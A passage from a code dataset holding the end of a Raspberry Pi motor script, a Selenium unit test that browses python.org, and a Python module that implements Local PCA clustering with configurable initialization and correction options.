float(angle) / 10.0 + 2.5\n pwm.ChangeDutyCycle(speed)\n time.sleep(1)\n\n# print \"Turning motor on\"\n# GPIO.output(Motor1A,GPIO.HIGH)\n# GPIO.output(Motor1B,GPIO.LOW)\n# GPIO.output(Motor1E,GPIO.HIGH)\n\n# sleep(2)\n\n# print \"Stopping motor\"\n# GPIO.output(Motor1E,GPIO.LOW)\n\nGPIO.cleanup()\n\n","sub_path":"motor4.py","file_name":"motor4.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"316073991","text":"import unittest\nimport time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\n\n\nclass PythonOrgTest(unittest.TestCase):\n\n # テスト関数ごとに呼び出される\n def setUp(self):\n self.driver = webdriver.Firefox()\n\n # テスト関数ごとに呼び出される\n def tearDown(self):\n self.driver.close()\n\n def test_python_org(self):\n \"\"\" テスト項目1 \"\"\"\n self.driver.get('http://www.python.org')\n self.assertIn('Python', self.driver.title)\n self.driver.find_element_by_link_text('Downloads').click()\n\n # 画面繊維は、WebDriverWait\n element = WebDriverWait(self.driver, 10).until(\n EC.presence_of_element_located((By.CLASS_NAME, 'widget-title')))\n self.assertEqual('Looking for a specific release?', element.text)\n\n self.driver.find_element_by_link_text('Documentation').click()\n\n element = WebDriverWait(self.driver, 10).until(\n EC.presence_of_element_located(\n (By.CLASS_NAME, 'call-to-action')))\n self.assertIn('Browse the docs', element.text)\n\n # 検索ボックス\n element = self.driver.find_element_by_name('q')\n # 検索ボックスの中身をクリア\n element.clear()\n element.send_keys('pycon')\n element.send_keys(Keys.RETURN)\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"tests/selenium_code/test_ui.py","file_name":"test_ui.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"473742541","text":"'''\nMODULE: clustering.py\n\n@Authors:\n G. D'Alessio [1,2], G. Aversano [1], A. Parente[1]\n [1]: Université Libre de Bruxelles, Aero-Thermo-Mechanics Laboratory, Bruxelles, Belgium\n [2]: CRECK Modeling Lab, Department of Chemistry, Materials and Chemical Engineering, Politecnico di Milano\n\n@Contacts:\n giuseppe.dalessio@ulb.ac.be\n\n\n@Additional notes:\n This code is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n Please report any bug to: giuseppe.dalessio@ulb.ac.be\n\n'''\n\nfrom .utilities import *\nfrom . import model_order_reduction\nimport warnings\nimport time\n\nimport numpy as np\nfrom numpy import linalg as LA\nimport numpy.matlib\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n\nclass lpca:\n '''\n The iterative Local Principal Component Analysis clustering algorithm is based on the following steps:\n \n 0. Preprocessing: The training matrix X is centered and scaled.\n \n 1. Initialization: The cluster centroids are initializated, several options are available.\n The first is a random allocation ('random'), assigning random values to the class membership\n vector, idx. The second option, is the initialization by means of a previous clustering solution\n obtained by the Kmeans algorithm ('kmeans'). The third option is 'observations': a number 'k'\n (where k = selected number of clusters) is randomly selected from the data-set and chosen as cluster\n centroids. The idx is calculated via euclidean distance minimization between the observations and\n the random centroids. The last available initialization is 'pkcia', compute the positive definite \n matrix Y = XX.T and assign the initial idx value on the basis of the first eigenvector obtained\n from Y. \n \n 2. Partition: Each observation is assigned to a cluster k such that the local reconstruction\n error is minimized;\n \n 3. PCA: The Principal Component Analysis is performed in each of the clusters found\n in the previous step. A new set of centroids is computed after the new partitioning\n step, their coordinates are calculated as the mean of all the observations in each\n cluster;\n \n 4. Iteration: All the previous steps are iterated until convergence is reached. The convergence\n criterion is that the variation of the global mean reconstruction error between two consecutive\n iterations must be below a fixed threshold.\n\n \n --- PARAMETERS ---\n X: RAW data matrix, uncentered and unscaled. It must be organized\n with the structure: (observations x variables).\n type X : numpy array\n\n dictionary: Dictionary containing all the instruction for the setters\n type dictionary: dictionary\n\n \n --- SETTERS ---\n clusters: number of clusters to be used for the partitioning\n type k: scalar\n\n to_center: Enable the centering function\n type _center: boolean \n \n centering: set the centering method. Available choices for scaling\n are 'mean' or 'min'.\n type _centering: string\n\n to_scale: Enable the scaling function\n type _scale: boolean \n\n scaling: set the scaling method. Available choices for scaling\n are 'auto' or 'vast' or 'range' or 'pareto'.\n type _scaling: string\n\n initialization: initialization method: 'random', 'kmeans', 'observations', 'pkcia' are available.\n type _method: string\n\n correction: multiplicative or additive correction factor to be used for the lpca algorithm\n type _beta: string\n\n eigens: number of Principal Components which have to be used locally for the dimensionality reduction task.\n type _nPCs: scalar\n\n \n '''\n def __init__(self, X, *dictionary):\n self.X = np.array(X)\n #Initialize the number of clusters:\n self._k = 2\n #Initialize the number of PCs to retain in each cluster:\n self._nPCs = 2\n #Set the initialization method:\n self._method = 'uniform' #Available options: 'KMEANS' or 'RANDOM'\n #Set the (eventual) corrector for the rec error computation:\n self._correction = \"off\" #Available options: 'off', 'mean', 'max', 'std', 'var'\n self.__activateCorrection = False\n #Adaptive PCs per cluster:\n self._adaptive = False #Available options: True or False (boolean)\n\n #Decide if the input matrix must be centered:\n self._center = True\n #Set the centering method:\n self._centering = 'mean' #'mean' or 'min' are available\n #Decide if the input matrix must be scaled:\n self._scale = True\n #Set the scaling method:\n self._scaling = 'auto'\n\n self._writeFolder = True\n\n self._postKNN = False\n self._neighborsNum = 0\n\n if dictionary:\n settings = dictionary[0]\n try:\n self._k = settings[\"number_of_clusters\"]\n if not isinstance(self._k, int) or self._k <= 1:\n raise Exception\n except:\n self._k = 2\n warnings.warn(\"An exception occured with regard to the input value for the number of clusters (k). It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: 2.\")\n print(\"\\tYou can ignore this warning if the number of clusters (k) has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n \n try:\n self._nPCs = settings[\"number_of_eigenvectors\"]\n if self._nPCs <= 0 or self._nPCs >= self.X.shape[1]:\n raise Exception\n except:\n self._nPCs = int(self.X.shape[1]/2)\n warnings.warn(\"An exception occured with regard to the input value for the number of PCs. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: X.shape[1]-1.\")\n print(\"\\tYou can ignore this warning if the number of PCs has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._center = settings[\"center\"]\n if not isinstance(self._center, bool):\n raise Exception\n except:\n self._center = True\n warnings.warn(\"An exception occured with regard to the input value for the centering decision. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: true.\")\n print(\"\\tYou can ignore this warning if the centering decision has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._centering = settings[\"centering_method\"]\n if not isinstance(self._centering, str):\n raise Exception\n elif self._centering.lower() != \"mean\" and self._centering.lower() != \"min\":\n raise Exception\n except:\n self._centering = \"mean\"\n warnings.warn(\"An exception occured with regard to the input value for the centering criterion . It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: mean.\")\n print(\"\\tYou can ignore this warning if the centering criterion has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._scale = settings[\"scale\"]\n if not isinstance(self._scale, bool):\n raise Exception\n except:\n self._scale = True \n warnings.warn(\"An exception occured with regard to the input value for the scaling decision. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: true.\")\n print(\"\\tYou can ignore this warning if the scaling decision has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try: \n self._scaling = settings[\"scaling_method\"]\n if not isinstance(self._scaling, str):\n raise Exception\n elif self._scaling.lower() != \"auto\" and self._scaling.lower() != \"vast\" and self._scaling.lower() != \"pareto\" and self._scaling.lower() != \"range\":\n raise Exception\n except:\n self._scaling = \"auto\"\n warnings.warn(\"An exception occured with regard to the input value for the scaling criterion. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: auto.\")\n print(\"\\tYou can ignore this warning if the scaling criterion has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._method = settings[\"initialization_method\"]\n if not isinstance(self._method, str):\n raise Exception\n elif self._method.lower() != \"uniform\" and self._method.lower() != \"kmeans\" and self._method.lower() != \"pkcia\" and self._method.lower() != \"observations\" and self._method.lower() != \"random\":\n raise Exception\n except:\n self._method = 'uniform'\n warnings.warn(\"An exception occured with regard to the input value for the initialization criterion. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: uniform.\")\n print(\"\\tYou can ignore this warning if the initialization criterion has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n try:\n self._correction = settings[\"correction_factor\"] \n if not isinstance(self._correction, str):\n raise Exception\n elif self._correction != \"off\" and self._correction != \"phc_multi\" and self._correction != \"c_range\" and self._correction != \"uncorrelation\" and self._correction != \"local_variance\" and self._correction != \"local_skewness\":\n raise Exception \n except:\n self._correction = \"off\"\n print(\"\\tCorrection factor automatically set equal to 'off'.\")\n print(\"\\tYou can ignore this warning if the correction factor has been assigned later via setter.\")\n try:\n self._adaptive = settings[\"adaptive_PCs\"]\n if not isinstance(self._adaptive, bool):\n raise Exception\n except:\n self._adaptive = False\n try:\n self._writeFolder = settings[\"write_stats\"]\n if not isinstance(self._writeFolder, bool):\n raise Exception\n except:\n self._writeFolder = True\n try:\n self._postKNN = settings[\"kNN_post\"]\n if not isinstance(self._postKNN, bool):\n raise Exception\n except:\n self._postKNN = True\n try:\n self._postKNN = settings[\"kNN_post\"]\n if not isinstance(self._postKNN, bool):\n raise Exception\n except:\n self._postKNN = True\n try:\n self._neighborsNum = settings[\"neighbors_number\"]\n if not isinstance(self._neighborsNum, int) or self._neighborsNum < 0:\n raise Exception\n except:\n print(\"Number of neighbors must be an integer and higher or equal to zero. Exiting with an error..\")\n exit()\n\n\n @property\n def clusters(self):\n return self._k\n\n @clusters.setter\n def clusters(self, new_number):\n self._k = new_number\n\n if not isinstance(self._k, int) or self._k <= 1:\n warnings.warn(\"An exception occured with regard to the input value for the number of clusters (k). It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: 2.\")\n print(\"\\tYou can ignore this warning if the number of clusters (k) has been assigned later via setter.\")\n print(\"\\tOtherwise, please check the conditions which must be satisfied by the input in the detailed documentation.\")\n self._k = 2\n\n @property\n def eigens(self):\n return self._nPCs\n\n @eigens.setter\n def eigens(self, new_number):\n self._nPCs = new_number\n\n if self._nPCs <= 0 or self._nPCs >= self.X.shape[1]:\n self._nPCs = int(self.X.shape[1]/2)\n warnings.warn(\"An exception occured with regard to the input value for the number of PCs. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: X.shape[1]/2.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n @property\n def initialization(self):\n return self._method\n\n @initialization.setter\n def initialization(self, new_method):\n self._method = new_method\n\n if not isinstance(self._method, str):\n self._method = 'uniform'\n warnings.warn(\"An exception occured with regard to the input value for the initialization criterion. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: uniform.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n elif self._method.lower() != \"uniform\" and self._method.lower() != \"kmeans\" and self._method.lower() != \"pkcia\" and self._method.lower() != \"observations\" and self._method.lower() != \"random\":\n self._method = 'uniform'\n warnings.warn(\"An exception occured with regard to the input value for the initialization criterion. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: uniform.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n\n @property\n def correction(self):\n return self._correction\n\n @correction.setter\n def correction(self, new_method):\n self._correction = new_method\n\n if not isinstance(self._correction, str):\n self._correction = \"off\"\n warnings.warn(\"An exception occured with regard to the input value for the correction factor to use . It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tCorrection factor automatically set equal to 'off'.\")\n elif self._correction != \"off\" and self._correction != \"phc_multi\" and self._correction != \"c_range\" and self._correction != \"uncorrelation\" and self._correction != \"local_variance\" and self._correction != \"local_skewness\":\n self._correction = \"off\" \n warnings.warn(\"An exception occured with regard to the input value for the correction factor to use . It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tCorrection factor automatically set equal to 'off'.\")\n\n @property\n def adaptivePCs(self):\n return self._adaptive\n\n @adaptivePCs.setter\n def adaptivePCs(self, new_bool):\n self._adaptive = new_bool\n if not isinstance(self._adaptive, bool):\n self._adaptive = False\n\n @property\n def to_center(self):\n return self._center\n\n @to_center.setter\n def to_center(self, new_bool):\n self._center = new_bool\n\n if not isinstance(self._center, bool):\n warnings.warn(\"An exception occured with regard to the input value for the centering decision. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: true.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n\n @property\n def centering(self):\n return self._centering\n\n @centering.setter\n def centering(self, new_string):\n self._centering = new_string\n\n if not isinstance(self._centering, str):\n self._centering = \"mean\"\n warnings.warn(\"An exception occured with regard to the input value for the centering criterion . It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: mean.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n elif self._centering.lower() != \"mean\" and self._centering.lower() != \"min\":\n self._centering = \"mean\"\n warnings.warn(\"An exception occured with regard to the input value for the centering criterion . It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: mean.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n\n @property\n def to_scale(self):\n return self._scale\n\n @to_scale.setter\n def to_scale(self, new_bool):\n self._scale = new_bool\n\n if not isinstance(self._scale, bool):\n warnings.warn(\"An exception occured with regard to the input value for the scaling decision. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: true.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n\n @property\n def scaling(self):\n return self._scaling\n\n @scaling.setter\n def scaling(self, new_string):\n self._scaling = new_string\n\n if not isinstance(self._scaling, str):\n self._scaling = \"auto\"\n warnings.warn(\"An exception occured with regard to the input value for the scaling criterion. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: auto.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n elif self._scaling.lower() != \"auto\" and self._scaling.lower() != \"vast\" and self._scaling.lower() != \"pareto\" and self._scaling.lower() != \"range\":\n self._scaling = \"auto\"\n warnings.warn(\"An exception occured with regard to the input value for the scaling criterion. It could be not acceptable, or not given to the dictionary.\")\n print(\"\\tIt will be automatically set equal to: auto.\")\n print(\"\\tPlease check the conditions which must be satisfied by the input in the detailed documentation.\")\n\n @property\n def writeFolder(self):\n return self._writeFolder\n\n @writeFolder.setter\n def writeFolder(self, new_string):\n self._writeFolder = new_string\n\n if not isinstance(self._writeFolder, bool):\n self._writeFolder = False \n\n\n @staticmethod\n def initialize_clusters(X, k, method):\n '''\n The clustering solution must be initialized to start the lpca iterative algorithm.\n Several initialization are available, and they can lead to different clustering solutions.\n\n \n --- PARAMETERS ---\n X: Original data matrix (observations x variables). \n type X : numpy array\n\n k: numbers of clusters. \n type k : scalar\n\n\n --- RETURNS ---\n idx: vector whose dimensions are (n,) containing the cluster assignment.\n type idx: numpy array \n '''\n if method.lower() == 'random':\n #Assign randomly an integer between 0 and k to each observation.\n idx = np.random.random_integers(0, k, size=(X.shape[0],))\n\n elif method.lower() == 'kmeans':\n #call the KMeans class from the very same module. Set the number of clusters and\n #choose 'initMode' to use a lower tolerance with respect to the normal algorithm.\n init = KMeans(X)\n init.clusters = k\n init.initMode =True\n idx = init.fit()\n\n elif method.lower() == 'observations':\n from scipy.spatial.distance import euclidean, cdist\n #Initialize the centroids using 'k' random observations taken from the\n #dataset.\n C_mat = np.empty((k, X.shape[1]), dtype=float)\n idx = np.empty((X.shape[0],), dtype=int)\n for ii in range(0,k):\n C_mat[ii,:] = X[np.random.randint(0,X.shape[0]),:]\n\n #Compute the euclidean distances between the matrix and all the random vectors\n #chosen as centroids. The function cdist returns a matrix 'dist' = (nObs x k)\n dist = cdist(X, C_mat)**2\n\n #For each observation, choose the nearest centroid (cdist --> Euclidean dist).\n #and compute the idx for the initialization.\n for ii in range(0, X.shape[0]):\n idx[ii] = np.argmin(dist[ii,:])\n\n elif method.lower() == 'pkcia':\n #Initialize the centroids with the method described in:\n #Manochandar, S., M. Punniyamoorthy, and R. K. Jeyachitra. Computers & Industrial Engineering (2020): 106290.\n from numpy import linalg as LA\n from scipy.spatial.distance import euclidean, cdist\n\n #compute the positive definite matrix Y (n x n) from the training data matrix (n x p),\n #with n = observations and p = variables\n Y = X @ X.T\n\n #compute the eigenvectors and the eigenvalues associated to the new matrix\n evals, evecs = LA.eig(Y)\n\n #order the eigens in descending order, as done in PCA\n mask = np.argsort(evals)[::-1]\n evecs = evecs[:,mask]\n evals = evals[mask]\n\n #consider only the eigenvector associated to the largest eigenvalue, V = (n x 1)\n V = evecs[:,0]\n\n #the min and the max of V squared will be useful later\n v_min = np.min(V**2)\n v_max = np.max(V**2)\n\n G = np.empty((len(V),), dtype=float)\n idx = np.empty((X.shape[0],), dtype=int)\n\n #computation of G is the first step to initialize the centroids:\n for ii in range(0, len(G)):\n G[ii] = 1 + ((V[ii]**2-v_min)/(v_max - v_min) + 1E-16) *k\n\n #compute the range of G and the delta step:\n RG = np.max(G) - np.min(G)\n CPC = RG/k\n\n counter = 0\n left_bound = 0\n C_mat = np.empty((k, X.shape[1]), dtype=float)\n\n #Partition the observations on the basis of their G value. Basically the G vector is\n #partitioned in k bins, and the observations are assigned to each bin to form a cluster.\n #The bin width is chosen on the basis of the CPC coefficient.\n #After that, in each cluster the centroid is computed.\n while counter < k:\n right_bound = (left_bound + CPC) + 0.01* (left_bound + CPC)\n try:\n mask = np.logical_and(G >= left_bound, G < right_bound)\n cluster_ = X[mask,:]\n C_mat[counter,:] = np.mean(cluster_, axis=0)\n left_bound = right_bound\n counter += 1\n except:\n left_bound = right_bound\n counter += 1\n\n #Compute the squared euclidean distances between the matrix and all the random vectors\n #chosen as centroids. The function cdist returns a matrix 'dist' = (nObs x k)\n dist = cdist(X, C_mat)**2\n\n #For each observation, choose the nearest centroid and compute the idx for the initialization.\n for ii in range(0, X.shape[0]):\n idx[ii] = np.argmin(dist[ii,:])\n \n elif method.lower() == 'uniform':\n idx = np.zeros(X.shape[0], dtype=int)\n spacing = np.round(X.shape[0]/k) +1\n for ii in range(1, k):\n if ii != (k -1):\n start = int(ii*spacing+1)\n endID = int((ii+1)*spacing)\n idx[start:endID] = ii \n else:\n start = int(ii*spacing+1)\n idx[start:] = ii \n\n else:\n raise Exception(\"Initialization option not supported. Please choose one between RANDOM or KMEANS.\")\n\n return idx\n\n\n @staticmethod\n def initialize_parameters():\n '''\n Set some private parameters for the algorithm convergence.\n '''\n iteration = 0\n eps_rec = 1.0\n residuals = np.array(0)\n iter_max = 500\n eps_tol = 1E-16\n return iteration, eps_rec, residuals, iter_max, eps_tol\n\n \n @staticmethod\n def merge_clusters(X, idx):\n '''\n Remove a cluster if it is empty, or not statistically meaningful.\n\n --- PARAMETERS ---\n X: Original data matrix (observations x variables). \n type X : numpy array\n\n idx: vector whose dimensions are (n,) containing the cluster assignment. \n type idx : numpy array\n\n\n --- RETURNS ---\n idx: vector whose dimensions are (n,) containing the cluster assignment, WITHOUT EMPTY CLASSES.\n type idx: numpy array \n '''\n k = np.max(idx) +1\n jj = 0\n while jj < k:\n cluster_ = get_cluster(X, idx, jj)\n if cluster_.shape[0] < 2: #2 or cluster_.shape[1]:\n if jj > 0:\n mask = np.where(idx >=jj)\n idx[mask] -= 1\n else:\n mask = np.where(idx >jj)\n idx[mask] -= 1\n print(\"WARNING:\")\n print(\"\\tAn empty cluster was found:\")\n print(\"\\tThe number of cluster was lowered to ensure statistically meaningful results.\")\n print(\"\\tThe current number of clusters is equal to: {}\".format(np.max(idx) +1))\n k = np.max(idx) +1\n jj = 0\n else:\n jj += 1\n\n return idx\n\n\n @staticmethod\n def plot_residuals(iterations, error):\n '''\n Plot the reconstruction error behavior for the LPCA iterative\n algorithm vs the iterations.\n - Input:\n iterations = linspace vector from 1 to the total number of iterations\n error = reconstruction error story\n '''\n matplotlib.rcParams.update({'font.size' : 18, 'text.usetex' : True})\n itr = np.linspace(1,iterations, iterations)\n fig = plt.figure()\n axes = fig.add_axes([0.15,0.15,0.7,0.7], frameon=True)\n axes.plot(itr,error[1:], color='b', marker='s', linestyle='-', linewidth=2, markersize=4, markerfacecolor='b')\n axes.set_xlabel('Iterations [-]')\n axes.set_ylabel('Reconstruction error [-]')\n axes.set_title('Convergence residuals')\n plt.savefig('Residual_history.eps')\n plt.show()\n\n\n @staticmethod\n def set_environment():\n '''\n This function creates a new folder where all the produced files\n will be saved.\n '''\n import datetime\n import sys\n import os\n\n now = datetime.datetime.now()\n newDirName = \"Clustering LPCA - \" + now.strftime(\"%Y_%m_%d-%H%M%S\")\n\n try:\n os.mkdir(newDirName)\n os.chdir(newDirName)\n except FileExistsError:\n print(\"Folder already existing. Skipping folder creation step.\")\n pass\n\n\n @staticmethod\n def write_recap_text(k_input, retained_PCs, correction_yn, initialization_type):\n '''\n This function writes a txt with all the hyperparameters\n recaped, to not forget the settings if several trainings are\n launched all together.\n '''\n text_file = open(\"recap_training.txt\", \"wt\")\n k_number = text_file.write(\"The number of clusters in input is equal to: {} \\n\".format(k_input))\n PCs_number = text_file.write(\"The number of retained PCs is equal to: {} \\n\".format(retained_PCs))\n init_used = text_file.write(\"The adopted inizialization method is: \"+ initialization_type + \". \\n\")\n scores_corr = text_file.write(\"The scores correction is: \"+ correction_yn + \". \\n\")\n text_file.close()\n\n\n @staticmethod\n def write_final_stats(iterations_conv, final_error):\n '''\n This function writes a txt with all the hyperparameters\n recaped, to not forget the settings if several trainings are\n launched all together.\n '''\n text_stats = open(\"convergence_stats.txt\", \"wt\")\n iter_numb = text_stats.write(\"The number of the total iterations is equal to: {} \\n\".format(iterations_conv))\n rec_err_final = text_stats.write(\"The final reconstruction error is equal to: {} \\n\".format(final_error))\n text_stats.close()\n\n\n @staticmethod\n def preprocess_training(X, centering_decision, scaling_decision, centering_method, scaling_method):\n '''\n Center and scale the matrix X, depending on the bool values\n centering_decision and scaling_decision\n '''\n if centering_decision and scaling_decision:\n mu, X_ = center(X, centering_method, True)\n sigma, X_tilde = scale(X_, scaling_method, True)\n elif centering_decision and not scaling_decision:\n mu, X_tilde = center(X, centering_method, True)\n elif scaling_decision and not centering_decision:\n sigma, X_tilde = scale(X, scaling_method, True)\n else:\n X_tilde = X\n\n return X_tilde\n\n @staticmethod\n def kNNpost(X, idx, neighborsNumber):\n from collections import Counter\n\n id1 = idx\n yo1 = np.zeros((len(idx)),dtype=int)\n\n for ii in range(X.shape[0]):\n print(\"Observation number: {}\".format(ii))\n dist = np.exp(np.linalg.norm(X - X[ii,:], axis=1))**2\n Nearest = dist.argsort()[:neighborsNumber+1]\n nn_id = idx[Nearest]\n #print(\"Nearest idx: {}\".format(nn_id))\n c = Counter(nn_id)\n #print(\"Attributed value by LPCA: {}\".format(idx[ii]))\n #print(c)\n id_num = 0\n for jj in range(np.max(idx)+1):\n if c[jj] > id_num:\n yo1[ii] = jj \n id_num = c[ii]\n id_num = 0\n\n yo = id1 - yo1\n\n print(\"Changed {} elements\".format(np.count_nonzero(yo)))\n\n\n return yo1 \n\n\n def fit(self):\n '''\n Group the observations depending on the PCA reconstruction error.\n\n --- RETURNS ---\n idx: vector whose dimensions are (n,) containing the cluster assignment for each observation.\n type idx: numpy array \n \n '''\n #Center and scale the original training dataset\n print(\"Preprocessing training matrix..\")\n self.X_tilde = self.preprocess_training(self.X, self._center, self._scale, self._centering, self._scaling)\n print(\"Fitting Local PCA model...\")\n if self._writeFolder:\n lpca.set_environment()\n lpca.write_recap_text(self._k, self._nPCs, self._correction, self._method)\n # Initialization\n iteration, eps_rec, residuals, iter_max, eps_tol = lpca.initialize_parameters()\n rows, cols = np.shape(self.X_tilde)\n # Initialize the solution vector\n idx = lpca.initialize_clusters(self.X_tilde, self._k, self._method)\n residuals = np.array(0)\n if self._correction != \"off\":\n correction_ = np.zeros((rows, self._k), dtype=float)\n scores_factor = np.zeros((rows, self._k), dtype=float)\n # Iterate\n while(iteration < iter_max):\n sq_rec_oss = np.zeros((rows, cols), dtype=float)\n sq_rec_err = np.zeros((rows, self._k), dtype=float)\n\n if self._correction == 'phc_multi':\n PHC_coefficients, PHC_std = evaluate_clustering_PHC(self.X, idx) #PHC_index(self.X, idx) or PHC_robustTrim(self.X, idx)\n PHC_coefficients = PHC_coefficients/np.max(PHC_coefficients)\n\n for ii in range(0, self._k):\n #group the observations of a certain cluster\n cluster = get_cluster(self.X_tilde, idx, ii)\n #compute the centroids, or the medianoids or the medoids, depending on the \n #selected choice\n if self._correction.lower() != 'medianoids' and self._correction.lower() != 'medoids':\n centroids = get_centroids(cluster)\n elif self.correction.lower() == 'medianoids':\n centroids = get_medianoids(cluster)\n elif self.correction.lower() == 'medoids':\n centroids = get_medoids(cluster)\n #perform PCA in the cluster, centering and scaling can be avoided\n #because the observations are already standardized\n local_model = model_order_reduction.PCA(cluster)\n local_model.to_center = False\n local_model.to_scale = False\n if not self._adaptive:\n local_model.eigens = self._nPCs\n else:\n local_model.set_PCs()\n modes = local_model.fit()\n #create the centroids (medoids or medianoids, respectively) matrix\n C_mat = np.matlib.repmat(centroids, rows, 1)\n #compute the rec error for the considered cluster\n rec_err_os = (self.X_tilde - C_mat) - (self.X_tilde - C_mat) @ modes[0] @ modes[0].T\n sq_rec_oss = np.power(rec_err_os, 2)\n sq_rec_err[:,ii] = sq_rec_oss.sum(axis=1)\n \n #use a penalty to eventually enhance the clustering performances\n if self.correction.lower() == \"c_range\":\n #add a penalty if the observations are not in the centroids neighbourhood\n\n #compute the cluster considering the raw data, and compute\n #the cluster's centroids\n cluster2 = get_cluster(self.X, idx, ii)\n centroids2 = get_centroids(cluster2) \n #compute the range for the centroid values: /2 = +-50%, /3 = +- 33% etc.\n C_mStar = centroids2/2 \n #lower bound: centroid - interval\n check1 = centroids2 - C_mStar\n #upper boundL centroid + interval\n check2 = centroids2 + C_mStar \n #boolean matrix initialization as matrix of ones \n boolean_mat = np.ones(self.X_tilde.shape)\n count = 0\n\n #for each element of the raw data matrix, check if it's in the interval.\n #If yes, put 0 in the boolean matrix\n for mm in range(0, self.X.shape[0]):\n for nn in range(0, self.X.shape[1]):\n if self.X[mm,nn] >= check1[nn] and self.X[mm,nn] <= check2[nn]:\n boolean_mat[mm,nn] = 0 \n count +=1 \n #For each row, sum up all the columns to obtain the multiplicative correction coefficient \n yo = np.sum(boolean_mat, axis=1)\n scores_factor[:,ii] = sq_rec_err[:,ii] * yo\n #activate the option to take into account the penalty in the error\n self.__activateCorrection = True\n \n elif self._correction.lower() == \"uncorrelation\":\n #the clusters where the observations maximize the uncorrelation are favoured\n maxF = np.max(np.var((self.X_tilde - C_mat) @ modes[0], axis=0))\n minF = np.min(np.var((self.X_tilde - C_mat) @ modes[0], axis=0))\n yo = 1-minF/maxF\n \n scores_factor[:,ii] = sq_rec_err[:,ii] * yo\n self.__activateCorrection = True\n\n elif self._correction.lower() == \"local_variance\":\n #try to assign the observations to each cluster such that the\n #variance in that cluster is minimized, i.e., the variables are\n #more homogeneous\n cluster2 = get_cluster(self.X, idx, ii)\n yo = np.mean(np.var(cluster2))\n scores_factor[:,ii] = sq_rec_err[:,ii] * yo\n self.__activateCorrection = True\n\n elif self._correction.lower() == \"phc_multi\":\n #assign the clusters to minimize the PHC \n local_homogeneity = PHC_coefficients[ii]\n scores_factor[:,ii] = sq_rec_err[:,ii] * local_homogeneity\n self.__activateCorrection = True\n \n elif self._correction.lower() == \"local_skewness\":\n #assign the clusters to minimize the variables' skewness\n from scipy.stats import skew\n\n yo = np.mean(skew(cluster, axis=0))\n scores_factor[:,ii] = sq_rec_err[:,ii] * yo\n self.__activateCorrection = True\n \n else:\n pass \n # Update idx --> choose the cluster where the rec err is minimized\n if self.__activateCorrection:\n idx = np.argmin(scores_factor, axis = 1)\n else:\n idx = np.argmin(sq_rec_err, axis = 1)\n # Update convergence\n rec_err_min = np.min(sq_rec_err, axis = 1)\n eps_rec_new = np.mean(rec_err_min, axis = 0)\n eps_rec_var = np.abs((eps_rec_new - eps_rec) / (eps_rec_new) + eps_tol)\n eps_rec = eps_rec_new\n # Print info\n print(\"- Iteration number: {}\".format(iteration+1))\n print(\"\\tReconstruction error: {}\".format(eps_rec_new))\n print(\"\\tReconstruction error variance: {}\".format(eps_rec_var))\n # Check convergence condition\n if (eps_rec_var <= eps_tol):\n lpca.write_final_stats(iteration, eps_rec)\n idx = self.merge_clusters(self.X_tilde, idx)\n break\n else:\n residuals = np.append(residuals, eps_rec_new)\n # Update counter\n iteration += 1\n # Consider only statistical meaningful groups of points: if there are <2 points\n #in a cluster, delete it because it's not statistically meaningful\n idx = self.merge_clusters(self.X_tilde, idx)\n self._k = max(idx) +1\n print(\"Convergence reached in {} 